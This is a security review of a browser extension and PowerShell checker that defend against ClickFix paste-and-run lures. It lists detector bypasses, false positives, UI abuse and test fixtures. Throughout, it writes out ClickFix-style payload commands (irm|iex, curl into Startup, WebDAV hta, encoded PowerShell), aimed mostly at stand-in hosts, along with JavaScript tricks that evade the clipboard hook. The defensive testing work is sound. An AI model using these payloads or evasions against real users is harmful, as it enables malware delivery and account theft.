ClickFix First Aid v0.1.0: pre-release security review

Scope: `extension/` (page-hook.js / main-world.js, content.js, ui.js), `engine/detector.js`, `rules/clickfix-rules.json`, `checker/src/*.ps1`, `guide/recovery.html`.

Method:

- Read all source.
- Ran the detector engine (Node 20) against about 120 test strings.
- Loaded the unpacked extension in Playwright Chromium (build 1217, `--headless=new`), opened local test pages, clicked the button and read the real clipboard afterwards. The harness ships with this report (`clickfix-bypass-harness.zip`). Its payloads are only `echo test` strings and `*.example.invalid` / 203.0.113.x hosts.
- Did not run anything on Windows. Every PowerShell finding comes from reading the code plus Microsoft documentation, so treat them as unverified on a real device.

Confidence labels:

- **verified**: reproduced live in Chromium or in the engine.
- **verified (code)**: follows directly from the code, but I did not run it.
- **unverified**: likely, but not tested.

Summary

The clipboard hook is solid against the textbook realm tricks:

- a fresh about:blank iframe or a `window.open('')` popup, with the method borrowed into the parent;
- `setData` borrowed from another realm;
- a textarea inside a closed shadow root plus `execCommand('copy')`.

All of these were blocked in live tests.

The protection model is much weaker than the README suggests. Without lure-page text, stealth markers or a decoy comment, a plain `powershell ... irm | iex` is only a **warn**, and a warn leaves the malicious text on the clipboard. Lure-page detection is easy to blind. There are also four live-verified ways to get a **block-level** payload past the hook. Beyond that, the lure-page rule and the decoy rule will put full-screen "This page tried to trick you" overlays on ordinary tutorials and developer pages.

ID	Sev	Title	Confidence
A1	Critical	A "warn" verdict leaves the payload on the clipboard, and lure detection is easy to blind	verified

ID	Sev	Title	Confidence
A2	High	`toString()` swap (TOCTOU) in the writeText/setData wrappers	verified
A3	High	`clipboardData.items.add()` is not hooked	verified
A4	High	Poisoning `Array.prototype[0]` turns the engine off	verified
A5	High	Commands with no matched executor pass even on lure pages (%ComSpec%, curl into Startup, UNC, 8.3 names)	verified (engine + live for 2)
A6	Medium	PowerShell parameter prefixes, `/` and Unicode dashes evade ps-encoded / hidden-window	verified (engine); PowerShell acceptance unverified
A7	Medium	Six junk lines downgrade a stealth block to warn	verified (engine)
A8	Medium	Format-operator / scriptblock / scheme-less PowerShell gets no executor and no remote match	verified (engine)
A9	Medium	macOS download, chmod and run chain is not detected	verified (engine)
A10	Medium	A page can silence the extension's UI (stopImmediatePropagation, 800 ms flood throttle)	verified
A11	Low	The hook is trivially fingerprintable	verified
B1	High	Weak lure rule blocks any command on normal "press Win+R, paste" tutorials	verified
B2	Medium	textContent fallback reads `<script>`/`<style>`/JSON blobs	verified
B3	Medium	Decoy rule blocks dev commands with "# verify" / "identity" / "human" comments	verified (engine)
B4	Medium	Subframe rule blocks legitimate installers copied inside embedded frames	verified (engine)
B5	Low	Enterprise silent MSI from a file share is blocked	verified (engine)
B6	Low	Synchronous innerText + textContent (200k chars) on every executor-looking copy	unverified (perf)
B7	Low	`clipboard.write` wrapper delays the native call until the item promise resolves	unverified
C1	Medium	Any page or cross-origin ad frame can forge the full-screen block overlay with its own text	verified
C2	Medium	The warn toast suppresses the lure banner permanently, and the toast says "normal on developer sites"	verified
C3	Low	"Do not show on this site" writes back a stale settings object	verified (code)
C4	Low	SAFE_TEXT comment says shells treat # as a comment; macOS interactive zsh does not	unverified
D1	Medium	Run-key scan skips any value whose name starts with `PS`	verified (code)
D2	Medium	MSI 1033 parsing is English-only; failed installs reported as installs	verified (code + MS docs)
D3	Medium	.NET IgnoreCase without CultureInvariant (Turkish-I)	unverified

ID	Sev	Title	Confidence
D4	Medium	New-file scan: depth too shallow, no .dll, TEMP double-scanned, slow on big files	verified (code); perf unverified
D5	Low	WScript.Shell COM failure (WSH disabled) loses the whole Startup check	unverified
D6	Low	Protect-RunDialog uppercases the existing DisabledHotkeys value; kills every explorer.exe	verified (code); VK semantics unverified
D7	Low	DisabledHotkeys is not an officially documented control; residual attack paths	unverified
E1-E10	Low-Medium	Recovery guide corrections	see section E

A. Bypasses

A1. Critical: a "warn" verdict does not protect, and lure detection is easy to blind

- **Where:** `engine/detector.js` `decide()` (lines ~199-250); `page-hook.js` `writeText` wrapper (180-186), which only replaces text when `verdict === 'block'`; `content.js` `analyzeThisPage()` (lines 49-62).
- **What goes wrong:** Off a detected lure page, `powershell -c "irm https://x.example.invalid/a | iex"` (no `-w h`, no decoy) is `warn`. The clipboard keeps the payload and the user only sees a 15-second corner toast. Page detection reads only `document.body.innerText` and then `textContent` at the moment of the copy. It misses:
  1. instructions inserted **after** the copy;
  2. text split into block elements with hidden filler, so innerText gets newlines and textContent gets more than 30 junk characters between "Windows" and "+ R";
  3. CSS `::before { content: ... }`;
  4. closed (and open) shadow roots;
  5. a cross-origin iframe holding the steps while the top frame copies;
  6. images or canvas;
  7. phrasing variants: "Press the Windows logo key and the R key, then press Ctrl and V" and "Hold the [WIN] key and tap [R]" are both `weak:false`;
  8. non-English verify words: "Verificación" does not match the verify theme.
- **Repro (live, all left the payload on the clipboard, UI = toast only):** `split_junk.html`, `late_instr2.html`, `css_content2.html`, `shadow.html`, `xorigin_steps.html` in the harness.
- **Fix:**
  - Treat every **programmatic** write (writeText/write/setData/execCommand from script) that contains executor + remote as "hold". Put SAFE_TEXT on the clipboard and offer "Copy anyway" inside the closed shadow root. The click is a user gesture, so the isolated world can write the original text.

- Keep manual copies on the current warn path.
- Also re-scan the page for about 10 s after a held or warned copy and escalate.
- Walk open shadow roots and same-origin frames when collecting text, and read `getComputedStyle(el,'::before').content` for elements with short text.

- **Confidence:** verified.

A2. High: toString TOCTOU in the writeText and setData wrappers

- **Where:** `page-hook.js` writeText wrapper lines 180-186 (`evaluate(text)` then `apply(_writeText, this, arguments)`); setData wrapper lines 259-272 (same pattern with `data`).
- **What goes wrong:** `evaluate()` converts the argument with `String(x)`. The native call converts it again and calls the page's `toString()` a second time.
- **Repro (live, lure page, block-level payload reached the clipboard):**

```
let n = 0;
navigator.clipboard.writeText({ toString() { return n++ ? 'cmd /c echo test # I a
```

- **Fix:** `var t = s(text)`; evaluate `t`, then `apply(_writeText, this, [t])`. Do the same for `format` and `data` in setData, and for `command` in execCommand.
- **Confidence:** verified.

A3. High: `DataTransferItemList.prototype.add` is not hooked

- **Where:** `page-hook.js` section 4 (onCopy and the setData hook).
- **What goes wrong:** In a copy handler, `e.clipboardData.items.add(text, 'text/plain'); e.preventDefault();` writes text without calling `setData`. `onCopy` only checked the (benign or empty) selection. A page can also call `clearData()` after the extension's own `setData(SAFE_TEXT)` and then `items.add`.
- **Repro (live, lure page, payload on clipboard):** `itemsadd.html`.
- **Fix:**
  - Wrap `DataTransferItemList.prototype.add` when the first argument is a string. Wrap `clearData` too.
  - Add a final bubble-phase `copy` listener on `window`, registered last, that re-reads `e.clipboardData.getData('text/plain')` and overwrites it if it is now a block.
  - Note that page listeners added after yours on `window` bubble still run later, so the wrappers are the real fix.
- **Confidence:** verified.

A4. High: prototype poisoning disables the detector

- **Where:** `engine/detector.js` lines 59, 111 (`into[into.length] = {...}`), 119 and `pushUnique`. The engine captures `RegExp.prototype.exec` and friends but writes into ordinary arrays.
- **What goes wrong:** If `Array.prototype` has an accessor for index `"0"`, then `arr[0] = x` on an empty array calls the page's setter instead of creating an own property. Every match list stays empty, `hasExec` is false, and the verdict is `allow`.
- **Repro (live, lure page, payload on clipboard):**

```
Object.defineProperty(Array.prototype, '0', { set() {}, get() {}, configurable: t
navigator.clipboard.writeText(TRAP);
```

- **Fix:**
  - Create entries with a captured `Object.defineProperty(into, into.length, {value, writable:true, enumerable:true, configurable:true})`, or keep explicit counters in null-prototype objects.
  - Audit every property read that could be missing (a getter on `Object.prototype` can supply it).
  - Add a test that runs the engine after poisoning `Array.prototype` and `Object.prototype`.
- **Confidence:** verified.

A5. High: commands with no matched executor pass even on a detected lure page

- **Where:** `decide()`: the lure-page rule needs `hasExec`. The executors group in `clickfix-rules.json` has no entry for env-var shells, curl to an autostart path, UNC/WebDAV, or 8.3 short names.
- **Repro:**
  - Engine, on a lure page, all `allow`:
    - `%ComSpec% /c curl -s -o %TEMP%\a.exe https://x.example.invalid/a && %TEMP%\a.exe`
    - `%windir:~-7,1%md /c echo test`
    - `curl -s -o "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat" https://x.example.invalid/a`
    - `\\203.0.113.5@SSL\DavWWWRoot\verify.hta`
    - `C:\Windows\System32\WINDOW~1\v1.0\POWERS~1.EXE -w h -en <base64>`
  - Live (`comspec.html`, `curlstartup.html`): the lure banner showed but the clipboard kept the payload.
  - Note: the Run dialog expands `%VAR%` and resolves 8.3 names. That is standard ShellExecute behaviour, but I did not test it on a device here (unverified).
- **Fix:**

- Add executor-equivalents: `%comspec%`; `%[a-z]+:~-?\d+,\d+%` (promote env-substring to executor); `\b[a-z0-9]{1,6}~\d(?:\.exe)?\b`; curl/wget/`iwr -OutFile` writing into `Start Menu\Programs\Startup`, `\Run`, `.lnk`, `.bat`, `.hta`; UNC paths with `@SSL`, `@\d+` or `DavWWWRoot` as the whole command.
- On a lure page, block anything with an executor **or** a remote **or** stealthScore ≥ 25.

- **Confidence:** verified (engine); live for 2 of 5.

A6. Medium: PowerShell parameter prefixes, `/` and Unicode dashes

- **Where:** rules `ps-encoded` (`\s-e(?:nc|ncodedcommand|c)?\s+...{20,}`), `hidden-window` (`-w(?:in(?:dow(?:style)?)?)?`); `normalize()` does not map U+2013/2014/2015 to `-`.
- **Repro (engine, all `allow` off-lure):**
  - `powershell -w h -en <60-char base64>`
  - `powershell -WindowStyle Hidden -EncodedCom <b64>`
  - `powershell /w h /enc <b64>`
  - `powershell -w h -ec <b64>` (en-dash)
  - `-wi hidden` scores 10 instead of 35, so a command that would block with `-win hidden` becomes warn.
  - Short base64 (< 120 chars) also misses `long-base64`, so a small `-en` stager has no "danger" at all.
  - Whether powershell.exe's own command-line parser accepts `/` and en-dash is unverified. Unique-prefix abbreviation of `-EncodedCommand` is commonly abused (unverified here).
- **Fix:**
  - Normalise `[\u2010-\u2015\u2212]` to `-` before matching.
  - Use a prefix regex: `(?:^|\s)[-/]e(?:c|n(?:c(?:o(?:d(?:e(?:d(?:c(?:o(?:m(?:m(?:a(?:n(?:d)?)?)?)?)?)?)?)?)?)?)?)?)\s+[a-z0-9+/=]{16,}`, and the same pattern for `-w(?:i(?:n(?:d(?:o(?:w(?:s(?:t(?:y(?:l(?:e)?)?)?)?)?)?)?)?)?)?`.
  - Treat any `-e*` base64 argument as "encoded" regardless of length.
- **Confidence:** verified (engine); PowerShell CLI acceptance unverified.

A7. Medium: line padding downgrades stealth blocks

- **Where:** `decide()` lines 227 and 247, `maxLinesForAutoBlock = 5`.
- **Repro (engine):** `powershell -w h -c "irm https://x.example.top/a|iex"` followed by `\n#\n#\n#\n#` gives warn instead of block. This matters for the Win+X / Terminal variant. The Run box is single-line.
- **Fix:** count only non-empty, non-comment lines. Do not let the line count cancel decoy or stealth.
- **Confidence:** verified (engine).

A8. Medium: PowerShell obfuscation the normaliser does not undo

- **Where:** `normalize()` (RE_JOIN only handles ASCII `'+'`); executor/remote groups.
- **Repro (engine, off-lure,** `allow`**):** `powershell -w h -c "&('{1}{0}'-f'x','ie')(&('{0}{1}'-f'ir','m') cdn.example.com/a)"`. There is no `iex`, no URL scheme and no `irm` token. Similar unhandled forms: `[scriptblock]::Create(...)`, `$ExecutionContext.InvokeCommand.InvokeScript`, `&(gcm i*x)`, smart quotes `‘ ’ “ ”` used as PowerShell quotes.
- **Fix:**
  - Normalise smart quotes to ASCII.
  - Add signals: `-f` format operator inside `&(`/`.(`; `[scriptblock]::create`; `invokecommand`; `invokescript`; `(gcm|gal|get-command|get-alias)\s+\S*\*`.
  - Treat `&(`/`.(` dynamic invocation as an executor when `powershell` is present.
- **Confidence:** verified (engine).

A9. Medium: macOS variants

- **Repro (engine, lure page,** `allow`**):** `cd /tmp && curl -so u https://cdn.example.invalid/a && chmod +x u && ./u`. `bash <(curl -fsSL ...)` and `python3 -c "...urlopen..."` were caught only because of the lure page.
- **Fix:** add a "download, chmod +x, run" chain, `bash <(curl`, `python3? -c .*urlopen`, `xattr -c`/`-d com.apple.quarantine`, `osascript` with `do shell script`.
- **Confidence:** verified (engine).

A10. Medium: a page can silence the extension's UI

- **Where:** `page-hook.js` `notify()` dispatches a DOM CustomEvent on `document`; `content.js` line 66-69 listens and drops anything within 800 ms of the previous event.
- **Repro (live):**
  - (a) `window.addEventListener('clickfix-first-aid', e => e.stopImmediatePropagation(), true)`: a block-level copy is still neutralised, but no block overlay is shown and nothing is counted.
  - (b) Dispatching one fake event with `{text:'x'}` just before `writeText(warnPayload)`: no toast at all. Together with A1 this removes the only signal the user gets.
- **Fix:**
  - Do not use a page-observable DOM event as the channel. Have the MAIN script, which runs before any page script, create a `MessageChannel` and hand port2 to the isolated world once. The isolated world's document_start listener has to be in place first; test this ordering, since it is unverified.
  - Throttle per verdict, not globally, and never let `allow` reports reset the timer.
- **Confidence:** verified.

A11. Low: fingerprinting

- **Repro (live):** `Clipboard.prototype.writeText.toString()` returns the wrapper source, not `[native code]`. A kit can detect the extension and switch to "type this command yourself".
- **Fix:** wrap `Function.prototype.toString` for the replaced functions. This is cat-and-mouse; document it as a known limitation.
- **Confidence:** verified.

Checked and not bypasses

- Fresh about:blank iframe realm (`iframe.contentWindow.Clipboard.prototype.writeText.call(navigator.clipboard, x)`), both synchronously after `appendChild` and later: blocked. Verified.
- `window.open('about:blank')` realm borrow: blocked. Verified.
- Cross-realm `DataTransfer.prototype.setData` borrow: blocked. Verified.
- Textarea inside a closed shadow root plus `execCommand('copy')`: blocked. Verified.
- `navigator.clipboard.write([a, b])`: Chrome rejects multiple items. Verified on Chromium 1217.
- `text/html`-only ClipboardItem: no `text/plain` reaches the clipboard. Verified.
- Workers: the Clipboard API is exposed only on Window (spec IDL). Not tested here, unverified.
- Fullwidth, Cyrillic or zero-width characters inside `powershell`: the engine misses them, but Windows will not resolve such a name to powershell.exe. So this is not a realistic Run-box bypass (unverified on device). Unicode does matter inside PowerShell code (dashes, smart quotes; see A6 and A8).

B. False positives

B1. High: weak lure rule blocks normal tutorials

- **Where:** `decide()` lines 217-221 (`page.weak` plus any executor gives block); `content.js` `analyzeThisPage()`.
- **Repro (live, `fp_tutorial.html`):** a page reading "Open PowerShell: press Win + R, type powershell, press Enter. Then paste the command below." with a Copy button for `irm https://get.scoop.sh | iex`. Result: a full-screen "This page tried to trick you" and the user's clipboard replaced. Microsoft's own Q&A answers contain "Press Win+R ... regedit" text (Microsoft Q&A example), as do countless IT KB pages. Engine strings like "Keyboard shortcuts: Win + X opens the power menu. Ctrl + V pastes." also set `weak:true`.
- **Fix:** auto-block only on `page.strong` (verify or captcha theme). `weak` should mean warn or hold (see A1).
- **Confidence:** verified.

B2. Medium: textContent includes script, style and JSON

- **Where:** `content.js` line 54 and page-hook's equivalent.

```
- **Repro (live, `fp_nextdata.html`):** `<script type=application/json id=__NEXT_DAT
```

- **Fix:** collect hidden text with a TreeWalker over text nodes, skipping `script, style, template, noscript, textarea`. Use hidden-only matches for warn or hold, not block.
- **Confidence:** verified.

B3. Medium: decoy rule blocks normal comments

- **Where:** `decide()` line 210 (any executor plus a decoy gives an unconditional block); rule `fake-verification-comment`.
- **Repro (engine, top-level, no page):** all `block`:
  - `powershell Get-ADUser jdoe # check identity`
  - `cmd /c ping 192.168.1.1 :: verify connectivity`
  - `bash -c 'pytest -q' # verify tests`
  - `irm get.scoop.sh | iex # Install Scoop, then verify with scoop --version`
  - `curl -fsSL https://example.com/install.sh | bash # works on Ubuntu, verified`
- **Fix:** require captcha-specific vocabulary (robot, captcha, cloudflare, ray id, verification id, ✓) and also remote or stealth. Drop the generic `verif`, `identity` and `human`.
- **Confidence:** verified (engine).

B4. Medium: subframe rule

- **Where:** `decide()` line 233 (danger + subframe + ≤ 5 lines gives block).
- **Repro (engine, covered by the existing test):** copying `curl -fsSL https://example.com/install.sh | bash` from any embedded frame blocks. Code playgrounds, embedded docs widgets and in-browser terminals hosted in frames are affected. Which major sites this hits is unverified.
- **Fix:** subframe alone should hold or warn. Block only with stealth, decoy or a lure page.
- **Confidence:** verified (engine).

B5. Low: enterprise MSI deployment

- **Repro (engine):** `msiexec /i \\fileserver\deploy\agent.msi /qn` gives block (quiet-install + remote-share).
- **Fix:** do not count RFC1918 or single-label UNC hosts as remote. Lower the weight when there is no URL.
- **Confidence:** verified (engine).

B6. Low: performance on huge DOMs

- **Where:** `analyzeThisPage()` runs on every copy or setData whose text matches an executor. It forces layout (`innerText`) and then reads up to 200k chars of `textContent`, synchronously inside the copy event.
- **Effect:** Google Docs/Sheets, long GitHub diffs and web terminals (xterm.js rows in the DOM) may stutter. Docs copies go through `setData('text/plain')`, so a tech doc containing `powershell ... https://` gives a warn toast on every copy. Unverified on those sites.
- **Fix:** cache page analysis per MutationObserver epoch. Compute it off the copy path.
- **Confidence:** unverified.

B7. Low: deferred ClipboardItem

- **Where:** `write` wrapper (page-hook ~190-215). It awaits `getType()` before calling native `write`.
- **What goes wrong:** apps using `new ClipboardItem({'text/plain': fetch(...).then(r => r.blob())})`, the pattern that exists to keep user activation during slow work, now call native `write` after the fetch. That may fail with NotAllowedError.
- **Fix:** call native `write` immediately with a wrapped ClipboardItem whose promise resolves to SAFE_TEXT or the original after the check.
- **Confidence:** unverified.

Password managers: their extensions copy from extension contexts, which this MAIN-world hook does not see. Their web vaults copy passwords that will not contain executors. I expect no impact (unverified).

C. Bugs and abuse of the extension's own UI

C1. Medium: forged overlay from any page or third-party frame

- **Where:** `content.js` line 66 onward accepts any `clickfix-first-aid` event. Subframe reports are forwarded to the top frame (background). `ui.js` shows the attacker's text in the "blocked command" preview.
- **Repro (live):**
  - `forged.html`: `document.dispatchEvent(new CustomEvent('clickfix-first-aid', {detail: JSON.stringify({text:'powershell # verify: call support at 555-0100 to unlock your account', how:'writeText'})}))` shows the full-screen extension overlay with that text and increments the counters.
  - `forged_frame.html`: a cross-origin iframe (as an ad would be) does the same, and the overlay appears on the **top** site.
- **Impact:** defacement of trusted UI on any site. It is also a tech-support-scam vector: the extension's own trusted overlay displays the attacker's phone number.

- **Fix:** authenticated channel (A10). Ignore reports from frames unless the isolated world recomputes the verdict from data it read itself. Do not render page-supplied text in the overlay, or render it inside a clearly labelled "text the page tried to copy" box with phone numbers and URLs stripped.
- **Confidence:** verified.

C2. Medium: the warn toast blocks the lure banner forever

- **Where:** `ui.js` `showLureBanner()` (`if (current) return;`) together with `content.js` lines 130-140 (`flagged = true` is set before `showLureBanner()` runs).
- **Repro (live, `late_instr2.html`):** copy a warn-level command, then insert "Verify you are human: Press Windows + R, then Ctrl + V". The UI stayed on the toast. That toast says "That is normal on developer sites", and since the page is flagged, no banner comes later.
- **Fix:** the banner supersedes the toast. Set `flagged` only after the banner is mounted. On a lure page, escalate earlier warns to hold.
- **Confidence:** verified.

C3. Low: stale settings write-back

- **Where:** `content.js` ~line 104-107. It pushes into the `settings` object loaded at page start and writes the whole object back.
- **Repro:** open a tab, turn soft warnings off in the popup, then click "Do not show on this site" in the old tab. Soft warnings are back on. Two tabs muting at once lose one of the entries.
- **Fix:** do the read-modify-write in the background service worker, or store muted sites under a separate key.
- **Confidence:** verified (code).

C4. Low: SAFE_TEXT claim

- **Where:** the comment next to SAFE_TEXT in `page-hook.js`.
- **What goes wrong:** macOS interactive zsh does not enable INTERACTIVE_COMMENTS by default, so `# STOP...` gives "command not found: #" rather than being treated as a comment. Still harmless, but the comment and docs are wrong.
- **Confidence:** unverified.

D. PowerShell (Windows PowerShell 5.1)

I did not run these on Windows. The checks below come from reading the code, so treat everything in this section as unverified on a device.

D1. Medium: Run-key scan skips real values named `PS*`

- **Where:** `Check-ClickFix.ps1:312` `if ($prop.Name -like 'PS*') { continue }`.
- **Repro:** `New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name PSUpdater -Value 'cmd /c echo test'`. The value is never reported. Malware naming itself "PSHelper" is plausible.
- **Fix:** skip only `PSPath`, `PSParentPath`, `PSChildName`, `PSDrive`, `PSProvider`.
- **Confidence:** verified (code).

D2. Medium: MSI event 1033 parsing

- **Where:** lines 291-297.
- **What goes wrong:** the event ID is correct. Microsoft documents 1033 with field 1 = ProductName, 2 = Version, 3 = Language, 4 = status, 5 = Manufacturer (Microsoft Learn: Windows Installer event logging). But the code regex-parses the English `.Message`:
  - Messages are localised (example of a Chinese 1033 message in Microsoft Q&A). On non-English Windows, name and manufacturer come out empty, so every install is flagged "No publisher name".
  - `'No events were found'` (line 297) is English-only, so localised systems get a spurious error line.
  - Status is ignored, so failed installs (status 1603) are reported as installed.
- **Fix:** use `$e.Properties[0].Value` (name), `[3]` (status) and `[4]` (manufacturer). Catch `$_.FullyQualifiedErrorId -like 'NoMatchingEventsFound*'`.
- **Confidence:** verified (code + docs); field indexes unverified on device.

D3. Medium: culture-sensitive IgnoreCase

- **Where:** line 60, `RegexOptions::IgnoreCase` without `CultureInvariant`.
- **What goes wrong:** on tr-TR or az-Latn systems, .NET case folding of I/i differs, so `IEX` versus `iex` style matches can diverge from the JS engine.
- **Fix:** `IgnoreCase -bor CultureInvariant`.
- **Confidence:** unverified.

D4. Medium: new-program scan coverage and cost

- **Where:** lines ~255-275.
- **What goes wrong:**

```
- With `-Depth 1` under `%APPDATA%`/`%LOCALAPPDATA%`, common drop paths such as `
```

  - `.dll` is not in the list, so a signed host with a side-loaded DLL is missed.
  - `%TEMP%` (= `%LOCALAPPDATA%\Temp`) is scanned twice, which duplicates findings.
  - `Get-AuthenticodeSignature` hashes whole files, which is slow on large installers.

- **Fix:** depth 3 for AppData; add `.dll`, `.lnk`, `.url`, `.msc`, `.cpl`; de-duplicate by FullName; skip files over about 200 MB or check only `CreationTime` plus MOTW (`Zone.Identifier`).
- **Confidence:** verified (code); performance unverified.

D5. Low: Startup check depends on WScript.Shell

- **Where:** line 318.
- **What goes wrong:** disabling Windows Script Host is a common anti-ClickFix hardening step. Where it is disabled, `New-Object -ComObject WScript.Shell` may throw (unverified), and the whole Startup section is lost.
- **Fix:** try/catch per .lnk. Fall back to listing the file, or to `Shell.Application` `.GetLink`.
- **Confidence:** unverified.

Read-only claim: by code reading, the checker only uses Get-ItemProperty, Get-ChildItem, Get-Content, Get-WinEvent, Get-ScheduledTask, Get-AuthenticodeSignature and `CreateShortcut` without `.Save()`. I found no writes. Verified (code); not checked with Procmon.

D6. Low: Protect-RunDialog side effects

- **Where:** `Protect-RunDialog.ps1` lines 54, 58, 71 (`ToUpperInvariant` on the existing value) and 92-96 (`Restart-CfaExplorer`).
- **What goes wrong:**
  - The value characters are generally described as virtual-key codes. If so, a lowercase `r` (0x72) means F3, and uppercasing changes the meaning of the user's existing entries. Status could also report "ON" incorrectly (unverified).
  - `-Remove` deletes R and X even if they were there before. Undo should restore the saved previous value.
  - `Stop-Process -Name explorer -Force` closes all File Explorer windows. It then races Windows' automatic shell restart and can open an extra Explorer window.
- **Fix:** do not change case; store the old value. Use a broadcast `WM_SETTINGCHANGE`, or tell the user to sign out, instead of killing Explorer.
- **Confidence:** verified (code); VK semantics unverified.

D7. Low: limits of the control

- DisabledHotkeys under `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced` is the path used across Microsoft Q&A answers (example). I found no first-party Microsoft documentation for it (unverified).
- It does not stop "press Windows, type powershell, Ctrl+Shift+Enter", "type Run in Start", or the FileFix address-bar route.
- The README should say so. Consider offering the Group Policy "Remove Run menu from Start Menu" (`NoRun`) for managed PCs (unverified for this build).

E. Recovery guide (guide/recovery.html)

The guide has **no links at all.** Add official links even though it works offline.

ID	Guide says	Official source says	Action
E1	Google: Security & sign-in > Your devices > Manage all devices	Same path (Google Help). A password change signs you out everywhere **except** verification devices, some third-party apps and home devices (Google Help)	Correct. Add the exceptions and tell users to also review third-party app access
E2	Microsoft: Advanced security options > Sign out everywhere > Sign out, up to 24 h	Same; the exception is **Xbox consoles** (Microsoft Support)	Correct. Add the Xbox caveat
E3	Facebook/Instagram: Accounts Center > Password and security > Where you're logged in	Facebook: same, then **Select devices to log out** > **Select all** > **Log out** (Facebook Help)	Add "Select all". Instagram path unverified (no Instagram help page found)
E4	WhatsApp: open Linked devices, log out	Android: ⋮ menu > Linked devices; iPhone: Settings > Linked devices > device > Log out > Log out (WhatsApp Help)	Add where "Linked devices" lives
E5	Telegram: Settings > Devices > Terminate all other sessions; 2-Step under Privacy and Security	FAQ: "Settings > Devices (or Privacy & Security > Active Sessions)"; 2-Step Verification under Privacy and Security (Telegram FAQ)	Correct. Add: Telegram refuses to end older sessions from a **just-connected** device for a few hours (Telegram string RecentSessions.Error.FreshReset). A victim who logs in fresh on a new phone will hit this
E6	Discord: User Settings > Devices > Log out all known devices	Unverified: no official article found. Official guidance: changing the password "will invalidate your current account token and log you out of all devices" (Discord Safety)	Lead with "change your password", then check Devices and Authorized Apps
E7	Defender: Scan options > "Microsoft Defender Offline scan" > Scan now, about 15 min	Option is now **"Microsoft Defender Antivirus (offline scan)"**; it restarts into Windows RE and runs a **quick** scan; no duration given (Microsoft Support)	Update the label. Drop "15 minutes" and "where malware cannot hide"
E8	Reset: Settings > System > Recovery > Reset PC; Keep my files / Remove everything	Matches for Windows 11 (Microsoft Support). The Windows 10 path (Update & Security > Recovery) is not on that page, so unverified	Add a Windows 10 line. Mention Cloud download vs Local reinstall
E9	India: 1930 or cybercrime.gov.in	Correct, 1930 helpline, 24x7 (National Cyber Crime Reporting Portal)	OK
E10	Lock Aadhaar biometrics on the UIDAI website or **mAadhaar** app; registered mobile needed	UIDAI now points to the **new Aadhaar app** and the myAadhaar portal for biometric lock; a registered mobile is mandatory (UIDAI, UIDAI Aadhaar app FAQ). A full Aadhaar (UID) lock with a VID also exists (UIDAI)	Change "mAadhaar" to "Aadhaar app". Whether mAadhaar still works is unverified. Optionally mention UID lock

"Check your credit report every month": in India this may cost money beyond the free annual reports (unverified). Consider "every few months, using your free reports".

New test cases

Expected values are the **desired** verdicts (fixtures run with an empty page). The current engine fails 13 of the 14 `block` entries and several `allow` and `warn` entries (see notes). The base64-to-zsh entry passes today and is a regression guard.

```
{"block": {
 "powershell -en prefix of EncodedCommand, hidden": "powershell -w h -en ZQBjAGgAbwAg
 "powershell /enc slash-prefixed params": "powershell /w h /enc ZQBjAGgAbwAgAHQAZQBzA
 "powershell -EncodedCom partial parameter": "powershell -WindowStyle Hidden -Encodec
 "powershell en-dash parameters": "powershell \u2013w h \u2013ec ZQBjAGgAbwAgAHQAZQBz
 "powershell -wi hidden abbreviation": "powershell -wi hidden -nop -c \"irm https://c
 "8.3 short name powershell": "C:\\Windows\\System32\\WINDOW~1\\v1.0\\POWERS~1.EXE -w
 "ComSpec env var instead of cmd": "%ComSpec% /c curl -s -o %TEMP%\\a.exe https://x.e
 "windir substring builds cmd": "%windir:~-7,1%md /c echo test",
 "curl drops batch file into Startup folder": "curl -s -o \"%APPDATA%\\Microsoft\\Win
 "WebDAV UNC hta pasted in Run": "\\\\203.0.113.5@SSL\\DavWWWRoot\\verify.hta",
 "format-operator iex and irm without scheme, hidden": "powershell -w h -c \"&('{1}{0
 "decoy pushed below 5 junk lines": "powershell -w h -c \"irm https://x.example.top/a
 "macOS echo base64 decode to zsh": "echo ZWNobyBOZXNO | base64 -d | zsh",
 "macOS curl to tmp, chmod, run": "cd /tmp && curl -so u https://cdn.example.invalid/
},
"allow": {
 "winget install": "winget install JanDeDobbeleer.OhMyPosh -s winget",
 "wsl install": "wsl --install",
 "git commit with verified comment": "git commit -m 'fix' # verified by human review"
 "powershell AD lookup with identity comment": "powershell Get-ADUser jdoe # check id
 "cmd ping with verify comment": "cmd /c ping 192.168.1.1 :: verify connectivity",
 "bash pytest verify comment": "bash -c 'pytest -q' # verify tests",
 "prose mentioning mshta": "mshta.exe is a Windows binary used to run HTA files.",
 "password with carets": "Tr0ub4dor&3^x^y"
},
"warn": {
 "scoop installer with verify comment": "irm get.scoop.sh | iex # Install Scoop, then
 "uv windows installer": "powershell -ExecutionPolicy ByPass -c \"irm https://astral.
 "chocolatey installer": "Set-ExecutionPolicy Bypass -Scope Process -Force; iex ((New
 "enterprise silent MSI from file share": "msiexec /i \\\\fileserver\\deploy\\agent.m
 "homebrew installer": "/bin/bash -c \"$(curl -fsSL https://raw.githubusercontent.com
 "curl to bash with verified comment": "curl -fsSL https://example.com/install.sh | b
}}
```

Current engine results:

- **block:** 13 of 14 fail. "-wi hidden" and "decoy pushed below 5 junk lines" give warn; the other 11 give allow. Only "macOS echo base64 decode to zsh" passes.
- **allow:** "powershell AD lookup … identity", "cmd ping … verify" and "bash pytest verify" currently **block**.
- **warn:** "scoop … verify", "enterprise MSI" and "curl | bash … verified" currently **block**.

Recommended browser e2e tests (from the harness, all should end with SAFE_TEXT or a hold on the clipboard): `tostring`, `itemsadd`, `arrayproto`, `split_junk`, `late_instr2`, `css_content2`, `shadow`, `xorigin_steps`, `comspec`, `curlstartup`. The following should show **no** full-screen block: `forged`, `forged_frame`, `fp_tutorial`, `fp_nextdata`.